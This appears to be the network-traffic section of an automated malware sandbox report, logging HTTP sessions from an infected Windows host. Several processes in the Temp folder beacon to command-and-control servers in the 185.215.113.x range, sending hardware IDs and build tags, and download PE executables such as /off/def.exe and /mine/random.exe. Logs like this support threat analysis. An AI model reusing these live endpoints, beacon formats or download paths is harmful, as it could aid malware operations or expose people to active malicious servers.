Nov 1, 2024 05:53:33.705699921 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:53:34.626024008 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50029	185.215.113.206	80	3960	C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:35.929919958 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:53:36.850107908 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:53:36.852751970 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAECFCAAEBFHIEHDGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 41 36 33 36 42 46 31 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 2d 2d 0d 0a Data Ascii: ------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="hwid"706A636BF1482604982160------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="build"tale------AECAECFCAAEBFHIEHDGH--
Nov 1, 2024 05:53:37.141345978 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50030	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:36.251931906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:53:37.180907011 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50033	34.107.221.82	80	5428	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:37.117019892 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 05:53:37.712449074 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 48252 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 05:53:47.721724987 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50036	34.107.221.82	80	5428	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:37.719660044 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:53:38.306015015 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71259 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:53:48.331125021 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50040	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:38.698033094 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:53:39.643951893 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50043	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:41.296477079 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:53:42.197088003 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50044	185.215.113.16	80	4228	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:41.990422010 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 05:53:42.896588087 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:42 GMT Content-Type: application/octet-stream Content-Length: 2778624 Last-Modified: Fri, 01 Nov 2024 04:00:31 GMT Connection: keep-alive ETag: "6724525f-2a6600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 6b 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +kx`Ui` @ @.rsrc`2@.idata 8@cfyesryy :@gwntuilp @@.taggant@"D*@
Nov 1, 2024 05:53:42.896600008 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:42.896610022 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:42.896758080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:42.896770000 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:42.896780968 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:42.896791935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:42.896804094 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:42.896823883 CET	24	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:42.896836042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:42.901540995 CET	1236	IN	Data Raw: c3 1f 28 0c 8c b4 48 07 ce 92 aa 0f bc c5 0f 37 75 b4 43 a7 2d a9 d1 06 ce 92 aa 9d ba d1 0f 07 79 b4 25 88 9a 85 8f 7f eb 11 2f ef d8 9a ad 69 bb cd bc 05 1e b4 95 7f cf 63 24 b6 15 ce 78 ba b0 77 2a 87 58 a6 a9 2f 9c ab 27 31 7b 97 8e 03 6b b9 Data Ascii: (H7uC-y%/ic$xw*X/'1{kat2(U>y./8{N(B)a L'{..jFDG-sf'Y?e<b&.H5R0w(<}Bo$
Nov 1, 2024 05:53:50.370168924 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 05:53:50.645025015 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:50 GMT Content-Type: application/octet-stream Content-Length: 1917440 Last-Modified: Fri, 01 Nov 2024 04:44:30 GMT Connection: keep-alive ETag: "67245cae-1d4200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@0L@WkD\|K,K @.rsrcD@.idata @ +@xywzvhpg01&@guxxlfzwK@.taggant0L" @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50045	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:43.713773012 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:53:44.633130074 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50046	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:46.309041023 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:53:47.215553999 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50047	185.215.113.206	80	5680	C:\Users\user\AppData\Local\Temp\1003096001\num.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:47.742361069 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:53:48.662574053 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:53:48.681950092 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEBAAECBGDHIECAKJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 41 36 33 36 42 46 31 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="hwid"706A636BF1482604982160------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="build"tale------KKKJEBAAECBGDHIECAKJ--
Nov 1, 2024 05:53:48.973609924 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50048	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:48.734219074 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:53:49.635535002 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50049	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:51.440035105 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:53:52.340364933 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50050	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:54.046694994 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:53:54.952337980 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50058	34.107.221.82	80	1656	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:55.914649010 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:53:56.513855934 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 71277 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
